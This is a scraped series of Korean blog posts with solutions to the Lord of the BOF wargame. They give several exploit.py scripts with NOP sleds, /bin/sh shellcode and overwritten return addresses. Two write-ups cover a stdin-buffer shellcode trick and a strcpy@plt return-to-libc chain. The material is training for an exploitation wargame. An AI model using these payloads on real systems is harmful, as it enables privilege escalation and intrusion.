exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/troll/vampire'

shellAddress =  p(0xbffef96c)

payload = "A"*44+shellAddress

shellCode = "\x90"*1000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"B"*65535

os.execl(path,path,payload,shellCode)

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB skeleton -> golem  (0) 2019.04.16
[Remind] LOB vampire -> skeleton  (0) 2019.04.16
[Remind] LOB orge -> troll  (0) 2019.04.15
[Remind] LOB darkelf -> orge  (0) 2019.04.15
[Remind] LOB wolfman -> darkelf  (0) 2019.04.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/orge/troll'

shellAddress =  p(0xbffffba8)

payload = "A"*44+shellAddress

shellCode = "\x90"*28+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"



os.system("/bin/ln -s " + path + " " + shellCode)



os.execl("./"+shellCode,"./"+shellCode,payload)


'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB vampire -> skeleton  (0) 2019.04.16
[Remind] LOB troll -> vampire  (0) 2019.04.16
[Remind] LOB darkelf -> orge  (0) 2019.04.15
[Remind] LOB wolfman -> darkelf  (0) 2019.04.12
[Remind] LOB goblin -> orc  (0) 2019.04.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/darkelf/orge'

shellAddress =  p(0xbffffb8c)

payload = "A"*44+shellAddress

shellCode = "\x90"*27+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"



os.system("/bin/ln -s " + path + " " + shellCode)



os.execl("./"+shellCode,"./"+shellCode,payload)


'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB troll -> vampire  (0) 2019.04.16
[Remind] LOB orge -> troll  (0) 2019.04.15
[Remind] LOB wolfman -> darkelf  (0) 2019.04.12
[Remind] LOB goblin -> orc  (0) 2019.04.11
[Remind] LOB cobolt -> goblin  (0) 2019.04.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *

p = lambda x : pack("<L" , x)

path = '/home/wolfman/darkelf'

shellAddress =  p(0xbffffb12)

payload = "A"*44+shellAddress

shellCode = "\x90"*105+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

os.system("/bin/ln -s " + path + " " + shellCode)

os.execl("./"+shellCode,"./"+shellCode,payload)

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB orge -> troll  (0) 2019.04.15
[Remind] LOB darkelf -> orge  (0) 2019.04.15
[Remind] LOB goblin -> orc  (0) 2019.04.11
[Remind] LOB cobolt -> goblin  (0) 2019.04.10
[Remind] LOB gremlin -> cobolt  (0) 2019.04.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/goblin/orc'

shellAddress =  p(0xbffffc30)

payload = "A"*44 + shellAddress

payload1 = "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

os.execl(path,path,payload,payload1)


'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB darkelf -> orge  (0) 2019.04.15
[Remind] LOB wolfman -> darkelf  (0) 2019.04.12
[Remind] LOB cobolt -> goblin  (0) 2019.04.10
[Remind] LOB gremlin -> cobolt  (0) 2019.04.10
[Remind] LOB gate -> gremlin  (0) 2019.04.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/cobolt/goblin'

shellAddress =  p(0xbffffba9)

payload = "A"*20+shellAddress

print payload



(python exploit.py ;cat) | ./goblin


'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB wolfman -> darkelf  (0) 2019.04.12
[Remind] LOB goblin -> orc  (0) 2019.04.11
[Remind] LOB gremlin -> cobolt  (0) 2019.04.10
[Remind] LOB gate -> gremlin  (0) 2019.04.10
LOB nightmare -> xavius  (0) 2018.01.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py



import os

from struct import *


p = lambda x : pack("<L" , x)


path = '/home/gremlin/cobolt'

shellAddress =  p(0xbffffc44)

payload = "A"*20+shellAddress


os.execl(path,path,payload)



'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB goblin -> orc  (0) 2019.04.11
[Remind] LOB cobolt -> goblin  (0) 2019.04.10
[Remind] LOB gate -> gremlin  (0) 2019.04.10
LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)


shellAddress =  p(0xbffff948)


payload = "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*31+"AAAA"+shellAddress

print payload

os.execl('/home/gate/gremlin','/home/gate/gremlin',payload)



'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB cobolt -> goblin  (0) 2019.04.10
[Remind] LOB gremlin -> cobolt  (0) 2019.04.10
LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같다.



스택영역 , 코드영역 , 공유라이브러리 영역, LD_PRELOAD 모두 사용이 불가능하다.


근데 공유라이브러리 영역만 이상하게 간단하게 "\x40"을 체크하지않고 필터링을 한다. 여기서 뭔가 이상하다는 느낌이 들었고 \x40영역에 함수주소외에 뭔가 내가사용할 수 있는게 있는건가라는 생각이 들었다.


이걸로 뭘 할수있을까 한참을 고민해봤는데 아무리생각해도 내가알고 있는 범위내에서는 답이 없었다. 그래서 그냥 노가다로 main 마지막부분에 bp걸고 A오질라게 넣은다음에  40000000 주소부터 내가 넣은값이 혹시 저장이 될까 싶은 마음에 그냥한번 쭉 봐봤다.



??설마했는데 진짜 내가입력한 값이 들어가있었다. 두세번정도 더 해봤는데 같은위치에 내가 입력한 값이 정확히 들어가고있었다. ㅋㅋ 일단 이유는 전혀 몰랐고 실제로 익스플로잇이 되나 쉘코드 넣어보고 RET로 호출해봤다.



진짜 쉘이 떴다. 엄청난 삽질로 풀긴풀었는데 왜저기 내가입력한 값이 들어가는지 궁금해서 좀더 찾아보니 이런이유가 있었다.


소스를 보면 fgets함수를 통해 내가입력한 값이 buffer에 저장되는데 이때 3번째 인자인 stdin이 포인트였다.

stdin은 표준입력 파일 스트림으로 내가 어떠한 값을 입력하는동안 이 값들이 입력 버퍼란 곳에 저장이 되고 있었다.


내가 어거지로 찾은 곳이 바로 이곳이었다. ㅋㅋ


실제로 디버깅해서 입력버퍼를 한번 찾아들어가봤다.



fgets의 3번째 인자가 stdin이므로 stdin에 해당하는 값은 0x8049a3c였다.


fgets아래에 bp걸고 아무값이나 넣어본 다음 stdin값을 출력해봤다.



출력되는 값을 보면 stdin의 값이 0x401068c0인걸 알 수 있고 해당 주소를 출력해봤다.



stdin 구조체 값들이 나왔고 각 영역별로 하는 역할이 따로 정해져있는것 같았고 그 중에 내가 입력한 값이 존재했던 0x40015000영역이 실제로 stdin 구조체 내에 존재하는 것을 확인할 수 있었다.


 













'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB gremlin -> cobolt  (0) 2019.04.10
[Remind] LOB gate -> gremlin  (0) 2019.04.10
LOB succubus -> nightmare  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB assassin -> zombie_assassin  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같다.



ret에 strcpy@plt 주소가 들어가야한다. 즉 strcpy를 활용해서 익스플로잇을 해야하는 상황인 것 같았다.

쭉 보니 strcpy 주소로 덮인 ret의 다음 4바이트값을 AAAA로 초기화 시킨다. strcpy함수 수행 후 ret를 수행할 때 내가 원하는 주소로 EIP를 변경못하도록 막아논 코드였다.


여기서 맨 처음 문제에 PLT라고 나와있길래 strcpy의 PLT 주소를 가지고 뭔가 하는건가 싶어서 한참 삽질하다 strcpy를 어떤식으로 써먹을수없을까 생각해보니 아이디어가 떠올랐다.


buf(A*44)+RET(strcpy주소)+AAAA


요런 구조에서 main이 끝나면서 RET로 strcpy가 실행될때 src,dst 인자값을 모두 줄 수 있다는 사실과 strcpy가 src메모리영역의 값을 dst메모리영역에 덮어씌운다는 점에서 뭔가 익스가 될것같았다.


strcpy를 통해 src 메모리 영역을 덮을 수 있으니 AAAA로 덮인 RET영역을 src에 넣고

쉘코드나 system 함수 주소를 dst에 넣어서 익스플로잇했다.


페이로드 구성은 이런식으로 했다.


system함수 주소 + "BBBB" + /bin/sh문자열주소 + "A"*32+strcpy@plt 주소+"CCCC"+"ret+4주소"+"buf주소"


위의 형식에 맞게 하나씩 구해주면 된다.

 

system함수 주소 = 0x40058ae0



strcpy@plt 주소 = 0x8048410



/bin/sh문자열 주소(system함수내의 /bin/sh주소사용) = 0x400fbff9



이제 ret+4와 buf주소만 구하면 되는데 코어 덤프파일로 실제 주소확인 후 익스플로잇했는데 계속 세그먼트 fault가 떠서 도저히 이유를 못찾다가 그냥 brute forcing하는 코드짜서 돌렸다. 여기서 엄청난 삽질을 해서 멘탈이 나갔었다..ㅠ


ret+4와 buf주소는 48바이트만큼 차이가 나므로 이를 활용해 코드를 짰다. 




잘나온당.


















'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

[Remind] LOB gate -> gremlin  (0) 2019.04.10
LOB nightmare -> xavius  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,